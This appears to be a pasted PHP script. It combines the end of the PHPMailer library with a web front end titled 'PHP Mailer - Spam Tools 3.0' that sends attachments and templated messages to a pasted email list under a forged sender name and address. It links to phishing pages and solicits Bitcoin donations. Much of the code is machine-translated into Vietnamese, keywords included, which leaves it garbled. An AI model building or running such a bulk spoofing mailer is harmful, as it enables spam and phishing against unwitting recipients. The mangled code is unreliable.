- 'pdf' => 'ứng dụng / pdf',
- 'ai' => 'application / postscript',
- 'eps' => 'ứng dụng / postscript',
- 'ps' => 'ứng dụng / postscript',
- 'smi' => 'ứng dụng / smil',
- 'smil' => 'ứng dụng / smil',
- 'mif' => 'application / vnd.mif',
- 'xls' => 'application / vnd.ms-excel',
- 'ppt' => 'application / vnd.ms-powerpoint',
- 'wbxml' => 'application / vnd.wap.wbxml',
- 'wmlc' => 'application / vnd.wap.wmlc',
- 'dcr' => 'application / x-director',
- 'dir' => 'application / x-director',
- 'dxr' => 'application / x-director',
- 'dvi' => 'application / x-dvi',
- 'gtar' => 'ứng dụng / x-gtar',
- 'php3' => 'application / x-httpd-php',
- 'php4' => 'application / x-httpd-php',
- 'php' => 'application / x-httpd-php',
- 'phtml' => 'application / x-httpd-php',
- 'phps' => 'application / x-httpd-php-source',
- 'swf' => 'ứng dụng / x-shockwave-flash',
- 'ngồi' => 'ứng dụng / x-stuffit',
- 'tar' => 'application / x-tar',
- 'tgz' => 'application / x-tar',
- 'xht' => 'application / xhtml + xml',
- 'xhtml' => 'application / xhtml + xml',
- 'zip' => 'ứng dụng / zip',
- 'mid' => 'audio / midi',
- 'midi' => 'audio / midi',
- 'mp2' => 'audio / mpeg',
- 'mp3' => 'audio / mpeg',
- 'mpga' => 'audio / mpeg',
- 'aif' => 'audio / x-aiff',
- 'aifc' => 'audio / x-aiff',
- 'aiff' => 'audio / x-aiff',
- 'ram' => 'audio / x-pn-realaudio',
- 'rm' => 'audio / x-pn-realaudio',
- 'rpm' => 'audio / x-pn-realaudio-plugin',
- 'ra' => 'audio / x-realaudio',
- 'wav' => 'audio / x-wav',
- 'bmp' => 'image / bmp',
- 'gif' => 'image / gif',
- 'jpeg' => 'image / jpeg',
- 'jpe' => 'image / jpeg',
- 'jpg' => 'image / jpeg',
- 'png' => 'image / png',
- 'tiff' => 'image / tiff',
- 'tif' => 'image / tiff',
- 'eml' => 'message / rfc822',
- 'css' => 'text / css',
- 'html' => 'text / html',
- 'htm' => 'text / html',
- 'shtml' => 'text / html',
- 'log' => 'text / plain',
- 'text' => 'văn bản / plain',
- 'txt' => 'text / plain',
- 'rtx' => 'text / richtext',
- 'rtf' => 'text / rtf',
- 'vcf' => 'text / vcard',
- 'vcard' => 'text / vcard',
- 'xml' => 'text / xml',
- 'xsl' => 'text / xml',
- 'mpeg' => 'video / mpeg',
- 'mpe' => 'video / mpeg',
- 'mpg' => 'video / mpeg',
- 'mov' => 'video / quicktime',
- 'qt' => 'video / quicktime',
- 'rv' => 'video / vnd.rn-realvideo',
- 'avi' => 'video / x-msvideo',
- 'movie' => 'video / x-sgi-movie'
- );
- if (array_key_exists (strtolower ($ ext), $ mimes)) {
- return $ mimes [strtolower ($ ext)];
- }
- return 'application / octet-stream';
- }
- / **
- * Bản đồ tên tệp cho một loại MIME.
- * Mặc định là 'application / octet-stream', nghĩa là dữ liệu nhị phân tùy ý.
- * @param string $ filename Một tên tập tin hoặc đường dẫn đầy đủ, không cần phải tồn tại như một tập tin
- * chuỗi trả về
- * tĩnh
- * /
- public static function filenameToType ($ filename)
- {
- // Trong trường hợp đường dẫn là một URL, hãy dải bất kỳ chuỗi truy vấn nào trước khi mở rộng
- $ qpos = strpos ($ filename, '?');
- if (false! == $ qpos) {
- $ filename = substr ($ filename, 0, $ qpos);
- }
- $ pathinfo = tự :: mb_pathinfo ($ filename);
- return self :: _ mime_types ($ pathinfo ['extension']);
- }
- / **
- * Thay thế pathinfo nhiều byte.
- * Thay thế cho pathinfo (), nhưng an toàn đa vùng, an toàn qua nền tảng, phiên bản cũ an toàn.
- * Hoạt động tương tự như trong PHP> = 5.2.0
- * @link http://www.php.net/manual/en/function.pathinfo.php#107461
- * @param string $ path Một tên tập tin hoặc đường dẫn, không cần phải tồn tại như một tập tin
- * @param số nguyên | chuỗi $ tùy chọn Hoặc là một PATHINFO_ * liên tục,
- * hoặc một tên chuỗi chỉ trả lại phần xác định, cho phép 'filename' hoạt động trên PHP <5.2
- * chuỗi trả về
- * tĩnh
- * /
- chức năng tĩnh công cộng mb_pathinfo ($ path, $ options = null)
- {
- $ ret = array ('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
- $ pathinfo = array ();
- nếu (preg_match ('% ^ (. *?) [\\\\ /] * (([^ / \\\\) *?) (\. ([^ \. \\\\ /] +?) |)) [\\\\ / \.] * $% im ', $ path, $ pathinfo)) {
- if (array_key_exists (1, $ pathinfo)) {
- $ ret ['dirname'] = $ pathinfo [1];
- }
- if (array_key_exists (2, $ pathinfo)) {
- $ ret ['basename'] = $ pathinfo [2];
- }
- if (array_key_exists (5, $ pathinfo)) {
- $ ret ['extension'] = $ pathinfo [5];
- }
- if (array_key_exists (3, $ pathinfo)) {
- $ ret ['filename'] = $ pathinfo [3];
- }
- }
- chuyển đổi ($ tùy chọn) {
- trường hợp PATHINFO_DIRNAME:
- trường hợp 'dirname':
- return $ ret ['dirname'];
- trường hợp PATHINFO_BASENAME:
- trường hợp 'basename':
- return $ ret ['basename'];
- trường hợp PATHINFO_EXTENSION:
- trường hợp 'mở rộng':
- return $ ret ['extension'];
- trường hợp PATHINFO_FILENAME:
- case 'filename':
- return $ ret ['filename'];
- mặc định:
- return $ ret;
- }
- }
- / **
- * Thiết lập hoặc thiết lập lại thuộc tính cá thể.
- * Bạn nên tránh chức năng này - nó tiết kiệm hơn, ít hiệu quả hơn, dễ bị lỗi hơn và
- * khó hơn để gỡ lỗi hơn thiết lập tài sản trực tiếp.
- * Cách sử dụng Ví dụ:
- * `$ mail-> set ('SMTPSecure', 'tls');`
- * là giống như:
- * `$ mail-> SMTPSecure = 'tls',`
- * @ truy cập công cộng
- * @param string $ name Tên thuộc tính để đặt
- * @param mixed $ value Giá trị để thiết lập thuộc tính
- * @ boolean trở lại
- * @TODO Nếu điều này không được sử dụng chức năng ma thuật __set ()?
- * /
- bộ hàm công cộng ($ name, $ value = '')
- {
- if (property_exists ($ this, $ name)) {
- $ this -> $ name = $ value;
- trở lại đúng;
- } else {
- $ this-> setError ($ this-> lang ('variable_set'). $ name);
- trả lại giả;
- }
- }
- / **
- * Dải dòng mới để ngăn chặn tiêm đầu trang.
- * @ truy cập công cộng
- * @param chuỗi $ str
- * chuỗi trả về
- * /
- chức năng công cộng secureHeader ($ str)
- {
- return trim (str_replace (array ("\ r", "\ n"), '', $ str));
- }
- / **
- * Normalize ngắt dòng trong một chuỗi.
- * Chuyển đổi các dòng UNIX LF, Mac CR và Windows CRLF thành một định dạng ngắt dòng duy nhất.
- * Mặc định cho CRLF (đối với các cơ quan tin nhắn) và bảo vệ các lần nghỉ liên tiếp.
- * chuỗi ký tự $ string
- * @param string $ breaktype Loại ngắt dòng nào để sử dụng, mặc định là CRLF
- * chuỗi trả về
- * @ truy cập công cộng
- * tĩnh
- * /
- public static function normalizeBreaks ($ văn bản, $ breaktype = "\ r \ n")
- {
- return preg_replace ('/ (\ r \ n | \ r \ n) / ms', $ breaktype, $ text);
- }
- / **
- * Thiết lập các tập tin khóa công cộng và tư nhân và mật khẩu cho ký kết S / MIME.
- * @ truy cập công cộng
- * @param string $ cert_filename
- * @param chuỗi $ key_filename
- * @param string $ key_pass Mật khẩu cho khoá cá nhân
- * @param string $ extracerts_filename Tùy chọn đường dẫn đến chứng chỉ chuỗi
- * /
- ký hiệu chức năng công cộng ($ cert_filename, $ key_filename, $ key_pass, $ extracerts_filename = '')
- {
- $ this-> sign_cert_file = $ cert_filename;
- $ this-> sign_key_file = $ key_filename;
- $ this-> sign_key_pass = $ key_pass;
- $ this-> sign_extracerts_file = $ extracerts_filename;
- }
- / **
- * Được trích dẫn-Printable-mã hóa một tiêu đề DKIM.
- * @ truy cập công cộng
- * @param chuỗi $ txt
- * chuỗi trả về
- * /
- chức năng công cộng DKIM_QP ($ txt)
- {
- $ line = '';
- for ($ i = 0; $ i <strlen ($ txt), $ i ++) {
- $ ord = ord ($ txt [$ i]);
- if ((0x21 <= $ ord) && ($ ord <= 0x3A)) || $ ord == 0x3C || ((0x3E <= $ ord) && ($ ord <= 0x7E))) {
- $ line. = $ txt [$ i];
- } else {
- $ line. = '='. sprintf ('% 02X', $ ord);
- }
- }
- return $ line;
- }
- / **
- * Tạo một chữ ký DKIM.
- * @ truy cập công cộng
- * @param string $ signHeader
- * @throws phpmailerException
- * chuỗi trả về
- * /
- chức năng công cộng DKIM_Sign ($ signHeader)
- {
- if (! defined ('PKCS7_TEXT')) {
- if ($ this-> exceptions) {
- ném phpmailerException mới ($ this-> lang ('extension_missing'). 'openssl');
- }
- trở về '';
- }
- $ privKeyStr = file_get_contents ($ this-> DKIM_private);
- if ($ this-> DKIM_passphrase! = '') {
- $ privKey = openssl_pkey_get_private ($ privKeyStr, $ this-> DKIM_passphrase);
- } else {
- $ privKey = $ privKeyStr;
- }
- if (openssl_sign ($ signHeader, $ signature, $ privKey)) {
- return base64_encode (chữ ký $);
- }
- trở về '';
- }
- / **
- * Tạo tiêu đề chuẩn hóa DKIM.
- * @ truy cập công cộng
- * @param string $ signHeader Tiêu đề
- * chuỗi trả về
- * /
- chức năng công cộng DKIM_HeaderC ($ signHeader)
- {
- $ signHeader = preg_replace ('/ \ r \ n \ s + /', '', $ signHeader);
- $ lines = explode ("\ r \ n", $ signHeader);
- foreach ($ dòng như $ key => $ line) {
- ($ heading, $ value) = nổ (':', $ dòng, 2);
- $ heading = strtolower ($ heading);
- $ value = preg_replace ('/ \ s + /', '', $ value); // Nén không gian vô dụng
- $ lines [$ key] = $ heading. ':'. trang trí ($ giá trị); / / Đừng quên để loại bỏ WSP xung quanh giá trị
- }
- $ signHeader = impode ("\ r \ n", $ lines);
- return $ signHeader;
- }
- / **
- * Tạo ra một cơ chế chuẩn hóa DKIM.
- * @ truy cập công cộng
- * @param string $ body Cơ quan thông báo
- * chuỗi trả về
- * /
- chức năng công cộng DKIM_BodyC ($ body)
- {
- if ($ body == '') {
- trở lại "\ r \ n";
- }
- / / ổn định kết thúc dòng
- $ body = str_replace ("\ r \ n", "\ n", $ body);
- $ body = str_replace ("\ n", "\ r \ n", $ body);
- // END ổn định kết thúc dòng
- trong khi (substr ($ body, strlen ($ body) - 4, 4) == "\ r \ n \ r \ n") {
- $ body = substr ($ cơ thể, 0, strlen ($ cơ thể) - 2);
- }
- trở lại $ cơ thể;
- }
- / **
- * Tạo tiêu đề và phần thân của DKIM trong tiêu đề thư mới.
- * @ truy cập công cộng
- * @param chuỗi $ headers_line dòng tiêu đề
- * @param string $ subject Chủ đề
- * @param chuỗi $ cơ thể Body
- * chuỗi trả về
- * /
- chức năng công cộng DKIM_Add ($ headers_line, $ subject, $ body)
- {
- $ DKIMsignatureType = 'rsa-sha1'; / Chữ ký và thuật toán băm
- $ DKIMcanonicalization = 'thoải mái / đơn giản'; / / Canonicalization của tiêu đề / cơ thể
- $ DKIMquery = 'dns / txt'; // Phương thức truy vấn
- $ DKIMtime = thời gian (); // Dấu chấm Chữ ký = giây kể từ 00:00:00 - ngày 1 tháng 1 năm 1970 (múi giờ UTC)
- $ subject_header = "Chủ đề: $ môn học";
- $ headers = explode ($ this-> LE, $ headers_line);
- $ from_header = '';
- $ to_header = '';
- $ hiện tại = '';
- foreach ($ tiêu đề như tiêu đề $) {
- if (strpos ($ header, 'From:') === 0) {
- $ from_header = tiêu đề $;
- $ current = 'from_header';
- } elseif (strpos ($ header, 'To:') === 0) {
- $ to_header = tiêu đề $;
- $ current = 'to_header';
- } else {
- if (! empty ($$ current) && strpos ($ header, '=?') === 0) {
- $$ current. = $ header;
- } else {
- $ hiện tại = '';
- }
- }
- }
- $ from = str_replace ('|', '= 7C', $ this-> DKIM_QP ($ from_header));
- $ to = str_replace ('|', '= 7C', $ this-> DKIM_QP ($ to_header));
- $ subject = str_replace (
- '|',
- '= 7C',
- $ this-> DKIM_QP ($ subject_header)
- ); // Các trường tiêu đề được sao chép (dkim-quoted-printable)
- $ body = $ this-> DKIM_BodyC ($ body);
- $ DKIMlen = strlen ($ cơ thể); // Chiều dài thân
- $ DKIMb64 = base64_encode (gói ('H *', sha1 ($ body)))); / / Base64 của nhị phân SHA-1 băm nhị phân đóng gói của cơ thể
- if ('' == $ this-> DKIM_identity) {
- $ ident = '';
- } else {
- $ ident = 'i ='. $ this-> DKIM_identity. ';';
- }
- $ dkimhdrs = 'DKIM-Chữ ký: v = 1; a = '.
- $ DKIMsignatureType. '; q = '.
- $ DKIMquery. '; l = '.
- $ DKIMlen. '; s = '.
- $ this-> DKIM_selector.
- "; \ r \ n".
- "\ tt =". $ DKIMtime. '; c = '. $ DKIMcanon hoá. "; \ r \ n".
- "\ th = Từ: Tới: Tiêu đề; \ r \ n".
- "\ td =". $ this-> DKIM_domain. ';' . $ ident. "\ r \ n".
- "\ tz = $ từ \ r \ n".
- "\ t | $ to \ r \ n".
- "\ t | $ chủ đề; \ r \ n".
- "\ tbh =". $ DKIMb64. "; \ r \ n".
- "\ tb =";
- $ toSign = $ this-> DKIM_HeaderC (
- $ from_header. "\ r \ n".
- $ to_header. "\ r \ n".
- $ subject_header. "\ r \ n".
- $ dkimhdrs
- );
- $ signed = $ this-> DKIM_Sign ($ toSign);
- trả lại $ dkimhdrs. $ ký. "\ r \ n";
- }
- / **
- * Phát hiện nếu một chuỗi chứa một dòng dài hơn chiều dài dòng tối đa cho phép.
- * @param chuỗi $ str
- * @ boolean trở lại
- * tĩnh
- * /
- chức năng tĩnh công cộng cóLineLongerThanMax ($ str)
- {
- // + 2 để bao gồm CRLF ngắt dòng cho tổng số 1000
- return (boolean) preg_match ('/ ^ (. {'. (Tự: MAX_LINE_LENGTH + 2). ',}) / m', $ str);
- }
- / **
- * Cho phép truy cập công khai vào tài sản 'to'.
- * @ Lưu ý: Trước khi gửi () cuộc gọi, các địa chỉ xếp hàng (ví dụ với IDN) chưa được đưa vào.
- * @ truy cập công cộng
- * mảng trả về
- * /
- các hàm công cộng getToAddresses ()
- {
- trả lại $ this-> to;
- }
- / **
- * Cho phép truy cập công khai vào tài sản 'cc'.
- * @ Lưu ý: Trước khi gửi () cuộc gọi, các địa chỉ xếp hàng (ví dụ với IDN) chưa được đưa vào.
- * @ truy cập công cộng
- * mảng trả về
- * /
- getCcAddresses chức năng công cộng ()
- {
- return $ this-> cc;
- }
- / **
- * Cho phép truy cập công khai vào tài sản 'bcc'.
- * @ Lưu ý: Trước khi gửi () cuộc gọi, các địa chỉ xếp hàng (ví dụ với IDN) chưa được đưa vào.
- * @ truy cập công cộng
- * mảng trả về
- * /
- getBccAddresses chức năng công cộng ()
- {
- trả lại $ this-> bcc;
- }
- / **
- * Cho phép truy cập công cộng vào tài sản 'Trả lời'.
- * @ Lưu ý: Trước khi gửi () cuộc gọi, các địa chỉ xếp hàng (ví dụ với IDN) chưa được đưa vào.
- * @ truy cập công cộng
- * mảng trả về
- * /
- công chức getReplyToAddresses ()
- {
- return $ this-> ReplyTo;
- }
- / **
- * Cho phép quyền truy cập công khai vào thuộc tính 'all_recipients'.
- * @ Lưu ý: Trước khi gửi () cuộc gọi, các địa chỉ xếp hàng (ví dụ với IDN) chưa được đưa vào.
- * @ truy cập công cộng
- * mảng trả về
- * /
- công chức getAllRecipientAddresses ()
- {
- trả lại $ this-> all_recipients;
- }
- / **
- * Thực hiện gọi lại.
- * @param boolean $ isSent
- * @param mảng $ đến
- * @param mảng $ cc
- * @param mảng $ bcc
- * @param string $ subject
- * @param chuỗi $ cơ thể
- * @param chuỗi $ từ
- * /
- chức năng bảo vệ doCallback ($ isSent, $ to, $ cc, $ bcc, $ chủ đề, $ cơ thể, $ từ)
- {
- if (! empty ($ this-> action_function) && is_callable ($ this-> action_function)) {
- $ params = mảng ($ isSent, $ to, $ cc, $ bcc, $ chủ đề, $ cơ thể, $ từ);
- call_user_func_array ($ this-> action_function, $ params);
- }
- }
- }
- / **
- * Trình xử lý ngoại lệ PHPMailer
- * @package PHPMailer
- * /
- class phpmailerException mở rộng ngoại lệ
- {
- / **
- * Prettify đầu ra thông báo lỗi
- * chuỗi trả về
- * /
- hàm công cộng errorMessage ()
- {
- $ errorMsg = '<strong>'. $ this-> getMessage (). "</ strong> <br /> \ n";
- return $ errorMsg;
- }
- }
- in '
- <head>
- <title> PHP Mailer - Công cụ Spam 3.0 </ title>
- <meta http-equiv = "Content-Type" content = "text / html; charset = utf-8" />
- <link href = "https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/cosmo/bootstrap.min.css" rel = "stylesheet">
- <script src = "https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"> </ script>
- <script type = "text / javascript" src = "https://ajax.googleapis.com/ajax/libs/jquery/1.8.0/jquery.min.js"> </ script>
- <script type = "text / javascript" src = "https://blockchain.info/Resources/js/pay-now-button.js"> </ script>
- </ head> ';
- in '<body>';
- in '<div class = "container col-lg-6">
- <h3> <font color = "black"> <span class = "glyphicon glyphicon-envelope"> </ span> </ font> PHP Mailer - Các công cụ chống spam <small>. $ tools ['version']. '< / small> </ h3>
- <form name = "form" id = "form" method = "POST" enctype = "multipart / form-data" action = "">
- <div class = "row">
- <div class = "form-group col-lg-6"> <label for = "senderEmail"> Người gửi email </ label> <input type = "text" class = "form-control input-sm" id = "senderEmail "name =" senderEmail "value =" '. $ senderEmail.' "> </ div>
- <div class = "form-group col-lg-6"> <label for = "senderName"> tên người gửi </ label> <input type = "text" class = "form-control input-sm" id = "senderName "name =" senderName "value =" '. $ senderName.' "> </ div>
- </ div>
- <div class = "row">
- <span class = "form-group col-lg-6"> <label for = "attachment"> Tệp đính kèm <nhỏ> (Nhiều Có) </ small> </ label> <input type = "file" name = "attachment [] "id =" tệp đính kèm [] "nhiều /> </ span>
- <div class = "form-group col-lg-6"> <label cho = "replyTo"> Trả lời </ label> <input type = "text" class = "form-control input-sm" id = " trả lời "name =" replyTo "value =" '. $ replyTo.' "/> </ div>
- </ div>
- <div class = "row">
- <div class = "form-group col-lg-12"> <label for = "subject"> Chủ thể của thông điệp </ label> <input type = "text" class = "form-control input-sm" id = "chủ đề" name = "subject" value = "'. $ subject.'" /> </ div>
- </ div>
- <div class = "row">
- <div class = "form-group col-lg-6"> <label for = "messageLetter"> Thư Thông báo </ label> <textarea name = "messageLetter" id = "messageLetter" class = "form-control" rows = "10" id = "textArea"> '. $ MessageLetter.' </ Textarea> </ div>
- <div class = "form-group col-lg-6"> <label for = "emailList"> Danh sách email của bạn </ label> <textarea name = "emailList" id = "emailList" class = "form-control" = "10" id = "textArea"> '. $ EmailList.' </ Textarea> </ div>
- </ div>
- <div class = "row">
- <div class = "form-group col-lg-6">
- <label for = "messageType"> Loại tin nhắn </ label>
- HTML <input type = "radio" name = "messageType" id = "messageType" value = "1" '. $ Html.'>
- Đồng bằng <nhập type = "radio" name = "messageType" id = "messageType" value = "2" '. $ Plain'>
- </ div>
- <div class = "form-group col-lg-3">
- <label for = "encode"> Mã hóa loại </ label>
- <select class = "form-control đầu vào-sm" id = "mã hóa" name = "encode">
- <option value = "UTF-8" selected> UTF-8 Encode </ option>
- <option value = "UTF-8"> ISO Encode </ option>
- </ select>
- </ div>
- </ div>
- <button type = "submit" class = "btn btn-default btn-sm" form = "form" name = "hành động" value = "gửi"> gửi </ nút>
- </ form>
- </ div>
- <div class = "col-lg-6"> <br>
- <label for = "well"> HƯỚNG D FORN S US DỤNG! </ label>
- <div id = "well" class = "well well">
- <h4> HOÀN THÀNH Hoa Kỳ </ h4>
- <ul>
- <b> Tôi cần tiền để có một cuộc sống tốt đẹp với gia đình tôi. Mỗi khi bạn cho tôi tiền, điều này có nghĩa là tôi có thể dành thời gian để thực hiện các công cụ mới như thế này hoặc nhiều người khác mà bạn và những người khác có thể sử dụng chúng miễn phí. <br /> Hiển thị sự đánh giá của bạn. Đóng góp bất kỳ số tiền nào bạn muốn! </ B>
- <div style = "font-size: 16px, lề: 0 tự động, chiều rộng: 300px" class = "blockchain-btn"
- data-address = "1BYs7eb9ted3dnwwbu1LKLMVaMC68zN153"
- data-shared = "false">
- <div class = "blockchain stage-begin">
- <img src = "https://blockchain.info/Resources/buttons/donate_64.png" />
- </ div>
- <div class = "blockchain stage-loading" style = "text-align: center">
- <img src = "https://blockchain.info/Resources/loading-large.gif" />
- </ div>
- <div class = "blockchain stage-ready">
- <p> </ p> <p class = "storytext"> </ p> <p>
- <p align = "center" class = "qr-code"> </ p>
- </ div>
- <div class = "blockchain stage-paid">
- Tài trợ của <b> [[giá trị]] BTC </ b> Đã nhận. Cảm ơn bạn.
- </ div>
- <div class = "blockchain stage-error">
- <font color = "red"> [[lỗi]] </ font>
- </ div>
- </ div>
- </ ul>
- <h4> Giúp đỡ </ h4>
- <ul>
- <li> [- email-]: <b> Gửi lại Email </ b> </ li>
- <li> [- time-]: <b> Ngày và giờ </ b> ('.date ("m / d / Y h: i: s a", time ()).') </ li>
- <li> [- emailuser-]: <b> Người dùng Email </ b> (emailuser @ emaildomain) </ li>
- <li> [- randomstring-]: <b> Chuỗi ngẫu nhiên (0-9, az) </ b> </ li>
- <li> [- số ngẫu nhiên-]: <b> số ngẫu nhiên (0-9) </ b> </ li>
- <li> [- randomletters-]: <b> Các lá thư ngẫu nhiên (az) </ b> </ li>
- <li> [- randommd5-]: <b> MD5 ngẫu nhiên </ b> </ li>
- </ ul>
- <h4> ví dụ </ h4>
- Email Reciver = <b> user@domain.com </ b> <br>
- <ul>
- <li> chào <b> [- emailuser -] </ b> -> chào <b> người dùng </ b> </ li>
- <li> mã của bạn là <b> [- randommd5 -] </ b> -> mã của bạn là <b> e10adc3949ba59abbe56e057f20f883e </ b> </ li>
- </ ul>
- <h4> Tin tức, Liên hệ, Trang lừa đảo, Công cụ Miễn phí </ h4>
- <ul>
- '. $ tools [' listtools '].'
- </ ul>
- </ div>
- </ div> ';
- if ($ _ POST ['action'] == "send") {
- in '<div class = "col-lg-12">';
- $ maillist = nổ ("\ r \ n", $ emailList);
- $ n = count ($ maillist);
- $ x = 1;
- foreach ($ maillist as email $) {
- print '<div class = "col-lg-1"> ['. $ x. '/'. $ n. '] </ div> <div class = "col-lg-5">'. $ email. '/ div>';
- if (! spamtoolsMailCheck ($ email)) {
- print '<div class = "col-lg-6"> <span class = "nhãn nhãn mặc định"> Email không chính xác </ span> </ div>';
- in "\ r \ n";
- }
- else {
- $ mail = new PHPMailer;
- $ mail-> setFrom (spamtoolsClear ($ senderEmail, $ email), spamtoolsClear ($ senderName, $ email));
- $ mail-> addReplyTo (spamtoolsClear ($ replyTo, $ email));
- $ mail-> addAddress ($ email);
- $ mail-> Chủ đề = spamtoolsClear ($ môn học, $ email);
- $ mail-> Body = spamtoolsClear ($ messageLetter, $ email);
- $ mail-> CharSet = $ mã hoá;
- for ($ i = 0; $ i <count ($ _ FILES ['attachment'] ['name']); $ i ++) {
- if ($ _FILES ['attachment'] ['tmp_name'] [$ i]! = "") {
- $ mail-> AddAttachment ($ _ FILES ['attachment'] ['tmp_name'] [$ i], $ _ FILES ['attachment'] ['name'] [$ i]);
- }
- }
- if ($ messageType == 1) {$ mail-> IsHTML (đúng);}
- else {$ mail-> IsHTML (sai);}
- if ($ mail-> send ()) {
- echo '<div class = "col-lg-6"> <span class = "nhãn label-default">'. $ mail-> ErrorInfo. '</ span> </ div>';
- }
- else {
- echo '<div class = "col-lg-6"> <span class = "nhãn nhãn hiệu thành công"> Ok </ span> </ div>';
- }
- in "\ r \ n";
- }
- $ x ++;
- cho ($ k = 0; $ k <40000; $ k ++) {echo '';}
- }
- }
- in '</ body>';
- ?>
Add Comment
Please, Sign In to add comment